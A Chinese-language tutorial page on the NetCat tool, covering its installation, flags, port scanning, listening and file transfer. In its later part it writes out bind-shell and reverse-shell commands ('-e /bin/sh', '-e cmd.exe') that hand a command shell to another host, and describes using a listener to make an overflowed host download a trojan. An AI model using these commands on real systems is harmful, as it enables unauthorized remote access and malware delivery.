zoukankan      html  css  js  c++  java
  • NetCat 命令

    NetCat

    • 在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。
    • 因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小)、功能实用,被设计为一个简单、可靠的网络工具。
    • 可通过TCP或UDP协议传输读写数据。
    • 同时,它还是一个网络应用Debug分析器,因为它可以根据需要创建各种不同类型的网络连接。

    NetCat安装

    [root@server ~]# yum install -y nc
    [root@server ~]# rpm -q nc
    nc-1.84-22.el6.x86_64
    

    NetCat语法

    nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源地址>][-v...][-w<超时秒数>][主机名称][通信端口...]
    

    NetCat参数

    -g<网关> 设置路由器跃程通信网关,最多可设置8个。
    -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
    -h 在线帮助。
    -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
    -l 使用监听模式,管控传入的资料。
    -n 直接使用IP地址,而不通过域名服务器。
    -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
    -p<通信端口> 设置本地主机使用的通信端口。
    -r 乱数指定本地与远端主机的通信端口。
    -s<来源地址> 设置本地主机送出数据包的IP地址。
    -u 使用UDP传输协议。
    -v 显示指令执行过程。
    -w<超时秒数> 设置等待连线的时间。
    -z 使用0输入/输出模式,只在扫描通信端口时使用。
    

    NetCat用法

    nc -v ip port
    # 扫瞄某IP的某个端口,返回信息详细输出
    

    nc -v -z ip port-port
    # 扫描某IP的端口到某端口,返回信息详细输出,但扫描速度较慢
    

    nc -v -z -u ip  port-port
    # 扫描某IP的某UDP端口到某UDP端口,返回信息详细输出,但扫描速度较慢
    

    nc -l -p 80 
    # 开启本机的TCP80端口并监听
    

    nc -l -v -p 80
    # 开启本机的TCP80端口并将监听到的信息输出到当前CMD窗口。
    

    nc -l -p 80 > log.txt
    # 开启本机的TCP80端口并将监听到的信息输出到log.txt下的日志文件里。
    

    nc -nvv 192.168.1.101 80 
    # 连接到192.168.1.101主机的80端口
    

    nc -nvv -w2 -z 192.168.1.101 80-1024 
    # 扫锚192.168.1.101的80-1024端口,连接超时时间为2秒
    

    远程运行:nc -l -p 2012 -t -e /bin/sh
    本地运行:nc -nvv 192.168.1.101 2012
    
    • 采用正向连接方式
    • 远程主机上运行 nc -l -p 2012 -t -e /bin/sh 意为绑定远程主机的 CMD 到2012 端口
    • 当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell
    • 在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012 端口的远程主机

    本地运行:nc -l -p 2012
    远程运行:nc -t -e cmd.exe 192.168.1.102 2012
    
    • 采用反向连接方式
    • 先在本地主机运行 nc -l -p 2012 开启本地主机的2012 端口并监听等待远程主机连接;
    • 在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上
    • 连接成功后 IP 地址为 192.168.1.102 的主机会得到一个CMD Shell。

    本地运行:nc -v -n ip port < C:/sunzn.exe
    远程运行:nc -v -l -p port > D:/sunzn.exe
    
    • 在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取 sunzn.exe 文件的内容,并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP )
    • 在远程主机运行 nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe 中
    • 两行命令实现了文件在本地主机和远程主机间的传输。

    本地运行:nc -L -p 8989 < C:ftp.txt 
    ( ftp.txt 中为FTP自动下载命令)
    
    • 不停地监听 8989 端口,并把 C:ftp.txt 中的内容发给任何一台连接本机 8989 端口的主机
    • 可起到传送文件作用(此用法经常用于反向溢出)
    • 溢出远程主机时,一旦溢出的远程主机连接本地主机 8989 端口,远程主机就会自动用 FTP 下载指定的文件,如木马

  • 相关阅读:
    C/C++ 编写一个通用的Makefile 来编译.c .cpp 或混编
    C/C++ 定义接口文件格式
    MySql存储过程例子1
    项目所遇问题
    linux下编译C++程序无法链接Mysql的问题
    linux 同步时间 调试core内核
    CentOS安装与更新git
    03 js基本数据类型、 js运算符1
    02 js运行原理 、js开发工具介绍 、js程序入门、 js基本语法
    01 js基本介绍
  • 原文地址:https://www.cnblogs.com/liangjingfu/p/10437834.html
Copyright © 2011-2022 走看看